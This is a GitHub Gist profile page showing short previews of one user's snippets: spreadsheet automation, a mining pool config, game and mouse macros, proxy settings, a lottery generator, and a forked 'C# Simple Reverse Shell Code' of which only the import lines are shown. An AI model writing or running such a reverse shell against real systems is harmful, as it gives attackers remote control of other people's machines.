Skip to content

Instantly share code, notes, and snippets.

View akiraaisha's full-sized avatar
🤔

Julian Lugod akiraaisha

🤔
  • Municipal Government of Cainta
  • Philippines
View GitHub Profile
@akiraaisha
akiraaisha / code.gs
Created June 22, 2023 11:30
This is a Google Apps Script to Copy and Generate, Delete Sheets based from a List
function generateSheetsFromNames() {
var spreadsheet = SpreadsheetApp.getActiveSpreadsheet();
//the List names are in sheet name List
var listSheet = spreadsheet.getSheetByName("_Registration_Sheet");
var names = listSheet.getRange('A2:A').getValues();
var templateSheet = spreadsheet.getSheetByName("Blank_Template");
for (var i = 0; i < names.length; i++) {
var name = names[i][0];
"pools" : [
{
"url" : "stratum+tcp://nyan.mastermining.net:3121",
"user" : "akiraaisha.nyancoin",
"pass" : "4153108"
}
SetTitleMatchMode, 2
#SingleInstance force
#IfWinActive ahk_exe r5apex.exe
#MaxThreadsPerHotkey 2
*XButton2::
While GetKeyState("XButton2","P") {
Send, {PgUp}
Send {E}
Send {Space}
@akiraaisha
akiraaisha / LottoGen.py
Last active July 4, 2023 16:49
Lotto Generator
import random
import datetime
import argparse
parser = argparse.ArgumentParser(description='This is a simple Lottery Generator for PCSO.\n')
parser.add_argument('--num', type=int, default=3,
help='Enter how many Lucky Numbers to generate.')
parser.add_argument('--max', type=int, default=49,
help='Enter the maximum range of the numbers.')
acl localnet src 0.0.0.1-0.255.255.255 # RFC 1122 "this" network (LAN)
acl localnet src 10.0.0.0/8 # RFC 1918 local private network (LAN)
acl localnet src 100.64.0.0/10 # RFC 6598 shared address space (CGN)
acl localnet src 169.254.0.0/16 # RFC 3927 link-local (directly plugged) machines
acl localnet src 172.16.0.0/12 # RFC 1918 local private network (LAN)
acl localnet src 192.168.0.0/16 # RFC 1918 local private network (LAN)
acl localnet src fc00::/7 # RFC 4193 local private network range
acl localnet src fe80::/10 # RFC 4291 link-local (directly plugged) machines
#acl localnet src 167.179.64.0/18
acl localnet src 112.205.160.0/19
@akiraaisha
akiraaisha / ST-algorithm-description.txt
Created June 7, 2019 15:01
This is the algorithm description derived from the prototype implementation provided by the authors and subsequent conversations and emails.
This is the algorithm description derived from the prototype implementation
provided by the authors and subsequent conversations and emails.
==============================================================================
Algorithm Authors:
Monica Cook
Chester F. Carlson Center for Imaging Science
Rochester Institute of Technology
F2::
Send {WheelUp}
Return
F1::
Send {WheelDown}
Return

Keybase proof

I hereby claim:

  • I am akiraaisha on github.
  • I am julianlugod (https://keybase.io/julianlugod) on keybase.
  • I have a public key whose fingerprint is 1FBC 2B1B B35C E088 EB03 3263 0C8A C73B 2A8B 5BA7

To claim this, I am signing this object:

function FindProxyForURL(url, host)
{
var useSocks = [".dnsleaktest.com|music.youtube.com|.crunchyroll.com"]; //sites that's going to be using Socks
var useDirect = ["youtube.com"] //and this is for direct
for (var i= 0; i < useSocks.length; i++) {
if (shExpMatch(host, useSocks[i])) {
return "SOCKS5 localhost:9050";
}
}
for (var i= 0; i < useDirect.length; i++) {
@akiraaisha
akiraaisha / Simple_Rev_Shell.cs
Created October 18, 2018 14:37 — forked from BankSecurity/Simple_Rev_Shell.cs
C# Simple Reverse Shell Code
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;